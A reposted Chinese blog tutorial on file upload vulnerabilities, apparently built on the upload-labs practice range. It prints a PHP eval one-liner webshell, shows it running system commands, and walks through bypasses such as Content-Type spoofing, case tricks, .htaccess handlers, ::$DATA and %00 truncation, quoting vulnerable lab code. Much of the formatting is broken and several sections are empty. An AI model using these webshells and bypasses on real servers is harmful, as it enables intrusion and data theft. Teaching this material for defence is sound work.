ToB企服应用市场:ToB评测及商务社交产业平台

标题: 太厉害了,终于有人能把文件上传漏洞讲的明明白白了 [打印本页]

作者: 大连密封材料    时间: 2022-6-23 11:45
标题: 太厉害了,终于有人能把文件上传漏洞讲的明明白白了
大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
未经允许,禁止转载 ,违者必究!!!!
本实验仅适用于学习和测试 ,严禁违法操作 ! ! !
今天更新的是:



   创建时间:2021年5月9日
软件: MindMaster Pro
  

漏洞类型详解_文件上传漏洞



一、WebShell 与 WebShell 管理工具

1.1 什么叫做WebShell ?


1.2 WebShell 有什么作用呢 ?

1.2.1 让我们拿举个例子(一句话木马)来讲:


   前期准备
    



  1. [/code]
  2. [list]
  3. [*][b]本地访问:[/b] 127.0.0.1/shell.php(我们刚才创建的木马文件名称)
  4. [*]打开HackBar(浏览器插件):尝试利用这个一句话木马来返回PHPinfo的信息
  5. [*]构建返回PHPinfo的语句:X=phpinfo();这也是一个任意代码执行,我们通过变量X传递的任何指令都会被当做PHP代码来执行。也可以通过这条指令来调用调用系统函数:X=system(whomai); 、x=system(whomai);
  6. [/list] [hr] [img]https://img-blog.csdnimg.cn/20210509212655793.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  7. [img]https://img-blog.csdnimg.cn/20210509212747677.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  8. [img]https://img-blog.csdnimg.cn/20210509214730629.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  9. [size=3]1.2.2 大马有什么作用呢?[/size]
  10. [list]
  11. [*]当我们通过某些操作上传了大马之后,我们可以通过大马来获取目标主机的控制权限、对内网进行扫描、获取内部系统的信息、盗取数据库等等一系列操作。
  12. [*]我们可以在GitHub上来搜索一些webshell(网上的信息可能存在后门要注意分辨,这里我就不放了)
  13. [/list] [size=4]1.3 WebShell 之 PHP 一句话木马解读[/size]
  14. [code]
复制代码

  1. <?php @eval($_POST[x]); ?>   实际上的传递过程是这样的
  2.                         ↓
  3.                         ↓                       
  4.                         ↓
  5. <?php @eval('phpinfo();'); ?> 实际的语句是这样的                        
复制代码

1.4 WebShell 之常用的一句话木马


  1. [/code]
  2. [list]
  3. [*]ASP.NET:
  4. [/list] [code]
复制代码

1.5 WebShell 管理工具

1.5.1 常用 WebShell 管理工具


1.5.2 我们来拿中国蚁剑来举例:




























1.6 拓展思考


1.6.1 思考一:





1.6.2 思考二:


二、文件上传漏洞概述

2.1 随处可见的文件上传功能



2.2 文件上传功能背后的业务逻辑是什么?





2.3 任意文件上传的安全风险








2.4 什么是文件上传漏洞



三、文件上传漏洞绕过


3.1 文件上传的验证机制有哪些




3.1.1 客户端JavaScript验证





  1. [/code]
  2. [list]
  3. [*]这里先是包含几个文件,然后出现了一些新的函数
  4. [*]file_exists函数检查文件或目录是否存在。如果指定的文件或目录存在则返回 TRUE,否则返回 FALSE。
  5. [*]而UPLOAD_PATH这个常量在config.php文件中,有这么一段代码define("UPLOAD_PATH", "../upload");,进行了设置。
  6. [*]那这个$_FILES['upload_file']['tmp_name']又是哪儿冒出来的呢,upload_file就是文件上传的表单的名字,如下图
  7. [/list] [img]https://img-blog.csdnimg.cn/20210522171427878.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  8. [list]
  9. [*][b]这里是$_FILES中的那些参数:[/b]
  10. [/list] [code]$_FILES这个变量用与上传的文件参数设置,是一个多维数组
  11. 数组的用法就是 $_FILES['key']['key2'];
  12. $_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时由服务器根据上传字段设定。
  13. $_FILES['upfile']包含了以下内容:
  14. $_FILES['upfile']['name'] 客户端文件的原名称。
  15. $_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
  16. $_FILES['upfile']['size'] 已上传文件的大小,单位为字节。
  17. $_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名。
  18. $_FILES['upfile']['error'] 和该文件上传相关的错误代码。
复制代码

  1. [/code] [hr]
  2. [list]
  3. [*][b]推荐两个关于JS的浏览器插件[/b]
  4. [*]关于禁用JS的两个浏览器插件,个人倾向性于第一个,我觉得可以选择禁用JS简单快捷高效,第二个的话功能比较多一些,但是也会禁用掉正常页面的JS
  5. [/list] [img]https://img-blog.csdnimg.cn/20210517225532936.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  6. [hr] [size=2]3.1.1.1 绕过客户端JavaScript验证的方法[/size]
  7. [list]
  8. [*][b]方法一:[/b] 修改JavaScript去修改其中关键的检测函数,或者直接通过插件禁用JavaScript。
  9. [/list] [img]https://img-blog.csdnimg.cn/20210517230503655.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  10. [list]
  11. [*][b]方法二:[/b] 直接发送请求包,通过Burp抓到正常上传的请求报文后,修改报文的内容,在直接通过Burp发送,便跳过了网页中JS的验证过程。
  12. [/list] [img]https://img-blog.csdnimg.cn/20210517230652136.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  13. [list]
  14. [*]修改一句话木马文件,将文件格式改成允许上传的文件格式。
  15. [*]进行上传文件,使用BP拦截数据包。
  16. [/list] [img]https://img-blog.csdnimg.cn/20210517230920169.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  17. [list]
  18. [*]将抓取到的数据包中的文件格式修改回php、再进行发送,从而实现文件上传
  19. [/list] [img]https://img-blog.csdnimg.cn/20210517231030828.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  20. [img]https://img-blog.csdnimg.cn/20210517231210718.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  21. [list]
  22. [*]后续的验证操作,跟上面木马利用一样。
  23. [*]主要就是介绍了一下前端的验证,以及文件上传可以干个啥事。这一关希望大家记住一句话 “所有前端的验证机制都是不安全的”,因为前端的东西是用户可控制的。
  24. [/list] [size=4]3.2 服务端MIME类型验证[/size]
  25. [list]
  26. [*]MIME类型是描述消息内容类型的因特网标准。
  27. [/list] [img]https://img-blog.csdnimg.cn/20210517232309395.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDUxOTc4OQ==,size_16,color_FFFFFF,t_70[/img]
  28. [list]
  29. [*]利用Burp抓包,将报文中的Content-Type改成允许的类型
  30. [*]Content-Type: image/gif
  31. [*]Content-Type: image/jpg
  32. [*]Content-Type: image/png
  33. [/list] [hr]
  34. [list]
  35. [*]打开upload-labs 靶场第二题 - JS检查
  36. [*][b]源码分析[/b]
  37. [/list] [code]$is_upload = false;
  38. $msg = null;
  39. if (isset($_POST['submit'])) {
  40.     if (file_exists(UPLOAD_PATH)) {
  41.         if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
  42.             $temp_file = $_FILES['upload_file']['tmp_name'];
  43.             $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];         
  44.             if (move_uploaded_file($temp_file, $img_path)) {
  45.                 $is_upload = true;
  46.             } else {
  47.                 $msg = '上传出错!';
  48.             }
  49.         } else {
  50.             $msg = '文件类型不正确,请重新上传!';
  51.         }
  52.     } else {
  53.         $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
  54.     }
  55. }
复制代码





3.3 服务器文件内容验证-文件头



3.3.1 绕过服务器文件内容验证-文件头



  1. function getReailFileType($filename){
  2.     $file = fopen($filename, "rb");
  3.     $bin = fread($file, 2); //只读2字节
  4.     fclose($file);
  5.     $strInfo = @unpack("C2chars", $bin);   
  6.     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);   
  7.     $fileType = '';   
  8.     switch($typeCode){      
  9.         case 255216:            
  10.             $fileType = 'jpg';
  11.             break;
  12.         case 13780:            
  13.             $fileType = 'png';
  14.             break;        
  15.         case 7173:            
  16.             $fileType = 'gif';
  17.             break;
  18.         default:            
  19.             $fileType = 'unknown';
  20.         }   
  21.         return $fileType;
  22. }
  23. $is_upload = false;
  24. $msg = null;
  25. if(isset($_POST['submit'])){
  26.     $temp_file = $_FILES['upload_file']['tmp_name'];
  27.     $file_type = getReailFileType($temp_file);
  28.     if($file_type == 'unknown'){
  29.         $msg = "文件未知,上传失败!";
  30.     }else{
  31.         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
  32.         if(move_uploaded_file($temp_file,$img_path)){
  33.             $is_upload = true;
  34.         } else {
  35.             $msg = "上传出错!";
  36.         }
  37.     }
  38. }
复制代码


3.3.2 如何生成图片木马:

     

3.4 服务器文件扩展名验证-黑名单





3.4.1 后缀名大小写绕过


  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  10.         $file_ext = trim($file_ext); //首尾去空
  11.         if (!in_array($file_ext, $deny_ext)) {
  12.             $temp_file = $_FILES['upload_file']['tmp_name'];
  13.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  14.             if (move_uploaded_file($temp_file, $img_path)) {
  15.                 $is_upload = true;
  16.             } else {
  17.                 $msg = '上传出错!';
  18.             }
  19.         } else {
  20.             $msg = '此文件类型不允许上传!';
  21.         }
  22.     } else {
  23.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  24.     }
  25. }
复制代码

  1. $file_ext = strtolower($file_ext); //转换为小写
复制代码


3.4.2 修改后缀名绕过?


  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array('.asp','.aspx','.php','.jsp');
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         $file_ext = trim($file_ext); //收尾去空
  12.         if(!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
  15.             if (move_uploaded_file($temp_file,$img_path)) {
  16.                  $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错!';
  19.             }
  20.         } else {
  21.             $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  25.     }
  26. }
复制代码

  1. AddType application/x-httpd-php .php .phtml .phps .php5 .pht
复制代码







3.4.3 重写绕过


  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = str_ireplace($deny_ext,"", $file_name);
  8.         $temp_file = $_FILES['upload_file']['tmp_name'];
  9.         $img_path = UPLOAD_PATH.'/'.$file_name;        
  10.         if (move_uploaded_file($temp_file, $img_path)) {
  11.             $is_upload = true;
  12.         } else {
  13.             $msg = '上传出错!';
  14.         }
  15.     } else {
  16.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  17.     }
  18. }
复制代码
3.4.4 特殊可解析后缀绕过




3.4.5 .htaccess绕过




  1. - AddType application/x-httpd-php.jpg
复制代码


  1. <FilesMatch "sec.jpg">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>
复制代码
3.4.6 利用操作系统特性-windos




  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  6.         $file_name = $_FILES['upload_file']['name'];
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  15.             if (move_uploaded_file($temp_file,$img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错!';
  19.             }
  20.         } else {
  21.             $msg = '此文件不允许上传';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  25.     }
  26. }
复制代码


3.4.7 %00截断


  1. $is_upload = false;
  2. $msg = null;
  3. if(isset($_POST['submit'])){
  4.     $ext_arr = array('jpg','png','gif');
  5.     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  6.     if(in_array($file_ext,$ext_arr)){
  7.         $temp_file = $_FILES['upload_file']['tmp_name'];
  8.         $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  9.         if(move_uploaded_file($temp_file,$img_path)){
  10.             $is_upload = true;
  11.         } else {
  12.             $msg = '上传出错!';
  13.         }
  14.     } else{
  15.         $msg = "只允许上传.jpg|.png|.gif类型文件!";
  16.     }
  17. }
复制代码

  1. $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
复制代码

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
  6.         $file_name = $_POST['save_name'];
  7.         $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
  8.         if(!in_array($file_ext,$deny_ext)) {
  9.             $temp_file = $_FILES['upload_file']['tmp_name'];
  10.             $img_path = UPLOAD_PATH . '/' .$file_name;
  11.             if (move_uploaded_file($temp_file, $img_path)) {
  12.                 $is_upload = true;
  13.             }else{
  14.                 $msg = '上传出错!';
  15.             }
  16.         }else{
  17.             $msg = '禁止保存为该类型文件!';
  18.         }
  19.     } else {
  20.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  21.     }
  22. }
复制代码

3.5 服务器解析漏洞



3.5.1 Apache 解析漏洞


3.5.2 IIS6.0 漏洞


3.5.3 Nginx 漏洞


3.5.4 Nginx 文件名逻辑漏洞(CVE-2013-4547)了解


四、文件上传漏洞防御


五、作者说



各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。
每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !

   博客中若有不恰当的地方,请您一定要告诉我。前路崎岖,望我们可以互相帮助,并肩前行!
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4